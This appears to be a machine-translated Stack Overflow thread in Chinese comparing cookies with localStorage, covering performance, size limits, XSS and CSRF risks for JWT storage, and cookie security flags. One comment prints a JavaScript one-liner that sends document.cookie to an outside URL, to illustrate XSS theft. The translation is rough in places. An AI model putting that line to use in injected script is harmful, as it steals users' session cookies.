我想通过将所有cookie移到本地存储中来减少其网站上的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题以外,使用本地存储替换cookie功能是否有任何利弊(特别是性能方面)?
我想通过将所有cookie移到本地存储中来减少其网站上的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题以外,使用本地存储替换cookie功能是否有任何利弊(特别是性能方面)?
Answers:
Cookies和本地存储有不同的用途。Cookies主要用于读取服务器端,本地存储只能由客户端读取。因此,问题是,在您的应用程序中,谁需要此数据-客户端还是服务器?
如果它是您的客户端(您的JavaScript),则一定要切换。通过在每个HTTP标头中发送所有数据来浪费带宽。
如果是您的服务器,则本地存储不是那么有用,因为您必须以某种方式(使用Ajax或隐藏的表单字段或其他方式)转发数据。如果服务器仅需要每个请求的全部数据的一小部分,则可以这样做。
无论哪种方式,您都希望将会话cookie保留为cookie。
根据技术差异以及我的理解:
除了作为一种古老的数据保存方式之外,Cookie还为您提供了4096个字节的限制(实际上是4095 个字节),它是每个cookie的限制。本地存储是一样大的每个域5MB - SO问题也提到了它。
localStorage
是Storage
接口的实现。它存储没有到期日期的数据,并且仅通过JavaScript或清除浏览器缓存/本地存储的数据来清除-与cookie到期不同。
sessionStorage
为Cookie过期,直到关闭浏览器为止(而不是选项卡)。@darkporter,感谢您的回答。但是,想听听Cookies和本地存储之间的技术差异。等待您的编辑。
localStorage
停留在客户端上,而cookies
与HTTP标头一起发送。这是它们之间最大的(但不是唯一的)区别。
在JWT的上下文中,Stormpath写了一篇相当有帮助的文章,概述了存储它们的可能方法以及与每种方法有关的(缺点)优点。
它还简要概述了XSS和CSRF攻击,以及如何应对它们。
我在下面附上了一些简短的摘录,以防他们的文章脱机/其站点出现故障。
问题:
Web存储(localStorage / sessionStorage)可通过同一域上的JavaScript访问。这意味着您网站上运行的所有JavaScript都可以访问Web存储,因此,它很容易受到跨站点脚本(XSS)攻击的攻击。简而言之,XSS是攻击者可以注入将在您的页面上运行的JavaScript的一种漏洞。基本的XSS攻击会尝试通过表单输入注入JavaScript,攻击者会在其中输入警报(“您被黑”);转换为表单,以查看它是否由浏览器运行并且可以被其他用户查看。
预防:
为了防止XSS,常见的响应是对所有不受信任的数据进行转义和编码。但是,这还远没有完整。2015年,现代网络应用使用托管在CDN或外部基础架构上的JavaScript。现代网络应用程序包括用于A / B测试,渠道/市场分析和广告的第三方JavaScript库。我们使用Bower等软件包管理器将其他人的代码导入我们的应用程序。
如果只破坏了您使用的一个脚本怎么办?恶意JavaScript可以嵌入到页面中,并且Web存储受到损害。这些类型的XSS攻击可能会导致所有人在不知情的情况下访问您站点的Web存储。这可能就是为什么许多组织建议不要在网络存储中存储任何有价值的东西或信任任何信息的原因。这包括会话标识符和令牌。
作为一种存储机制,Web存储在传输期间不会强制执行任何安全标准。读取并使用Web存储的任何人都必须进行尽职调查,以确保他们始终通过HTTPS发送JWT,而不通过HTTP发送JWT。
问题:
与HttpOnly cookie标志一起使用时,cookie无法通过JavaScript访问,并且不受XSS的影响。您还可以设置安全cookie标志,以确保仅通过HTTPS发送cookie。这是过去曾利用Cookie存储令牌或会话数据的主要原因之一。现代开发人员对使用cookie犹豫不决,因为传统上他们要求将状态存储在服务器上,从而破坏了RESTful最佳实践。如果将JWT存储在cookie中,则cookie作为一种存储机制不需要在服务器上存储状态。这是因为JWT封装了服务器处理请求所需的所有内容。
但是,cookie容易受到其他类型的攻击:跨站点请求伪造(CSRF)。CSRF攻击是当恶意网站,电子邮件或博客导致用户的Web浏览器在当前已对其进行身份验证的受信任站点上执行有害操作时发生的一种攻击。这是对浏览器如何处理Cookie的一种利用。Cookie只能发送到允许它的域。默认情况下,这是最初设置cookie的域。无论您是在galaxies.com还是hahagonnahackyou.com上,都会发送Cookie来请求。
预防:
除了和之外,现代浏览器还支持
SameSite
flag。HttpOnly
Secure
。该标志的目的是防止cookie在跨站点请求中传输,从而防止多种CSRF攻击。对于不支持的浏览器,
SameSite
可以使用同步令牌模式来防止CSRF。这听起来很复杂,但是所有现代Web框架都对此提供了支持。例如,AngularJS提供了一种解决方案来验证cookie仅可被您的域访问。直接来自AngularJS文档:
执行XHR请求时,$ http服务从cookie(默认情况下为XSRF-TOKEN)读取令牌,并将其设置为HTTP标头(X-XSRF-TOKEN)。由于只有在您的域上运行的JavaScript才能读取Cookie,因此可以确保您的服务器XHR来自在您的域上运行的JavaScript。通过包含
xsrfToken
JWT声明,可以使此CSRF保护变为无状态:{ "iss": "http://galaxies.com", "exp": 1300819380, "scopes": ["explorer", "solar-harvester", "seller"], "sub": "tom@andromeda.com", "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e" }
利用Web应用程序框架的CSRF保护,cookie可以坚固地存储JWT。通过检查API中的HTTP Referer和Origin标头,也可以部分阻止CSRF。CSRF攻击将具有与您的应用程序无关的Referer和Origin头。
完整的文章可以在这里找到:https : //stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
关于令牌本身的结构,他们还提供了有关如何最佳设计和实现JWT的有用文章:https ://stormpath.com/blog/jwt-the-right-way/
localStorage
页面上的其他脚本可以访问...但是也可以XMLHttpRequest
...而且是的HttpOnly标志可以防止窃取cookie,但浏览器仍会自动将其发送到匹配的域,因此...基本上在您拥有恶意脚本时在您的网页上运行时,您已经被黑了。
window.location = 'http://google.com?q=' + escape(document.cookie);
。该攻击绕过了浏览器的CORS检查。
使用localStorage
,Web应用程序可以在用户的浏览器中本地存储数据。在HTML5之前,应用程序数据必须存储在cookie中,并包含在每个服务器请求中。大量数据可以存储在本地,而不会影响网站性能。虽然localStorage
比较现代,但这两种技术都有其优缺点。
优点
缺点
优点
缺点
localStorage
用法与会话一几乎相同。他们有很多精确的方法,因此从会话切换到localStorage
真正的儿童游戏。但是,如果存储的数据对于您的应用程序确实至关重要,则在localStorage
不可用的情况下,您可能会使用cookie作为备份。如果要检查浏览器对的支持localStorage
,则只需运行以下简单脚本即可:
/*
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
var test = 'test';
try {
localStorage.setItem(test, test);
localStorage.removeItem(test);
return true;
} catch(e) {
return false;
}
}
/*
* execute Test and run our custom script
*/
if(lsTest()) {
// window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
window.localStorage.setItem(name, 1);
console.log('localStorage where used'); // log
} else {
document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
console.log('Cookie where used'); // log
}
有人注意到,“安全(SSL)页面上的localStorage值是隔离的”,请记住,如果从“ http”转换为“ https”安全协议,则该cookie仍可访问,则localStorage将不可用。如果您使用安全协议,请务必注意这一点。
好吧,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。Mac上的Chrome或Safari可能比PC上的Firefox快得多,尤其是使用较新的API时。与往常一样,测试是您的朋友(我找不到任何基准)。
我真的没有看到Cookie与本地存储的巨大差异。另外,您应该更加担心兼容性问题:并不是所有的浏览器都已经开始支持新的HTML5 API,因此cookie是提高速度和兼容性的最佳选择。
还值得一提的是 localStorage
当用户在某些版本的移动Safari中以“私有”模式浏览时无法使用。
引用自MDN(https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage):
注意:从iOS 5.1开始,Safari Mobile会根据操作系统的要求(通常是在空间不足的情况下)将localStorage数据存储在缓存文件夹中,该文件夹有时会被清理。Safari Mobile的“私有浏览”模式还阻止了完全写入localStorage。
本地存储最多可存储5mb的脱机数据,而会话也最多可存储5mb的数据。但是Cookie只能以文本格式存储4kb数据。
LOCA1和Session以JSON格式存储数据,因此易于解析。但是Cookies数据是字符串格式。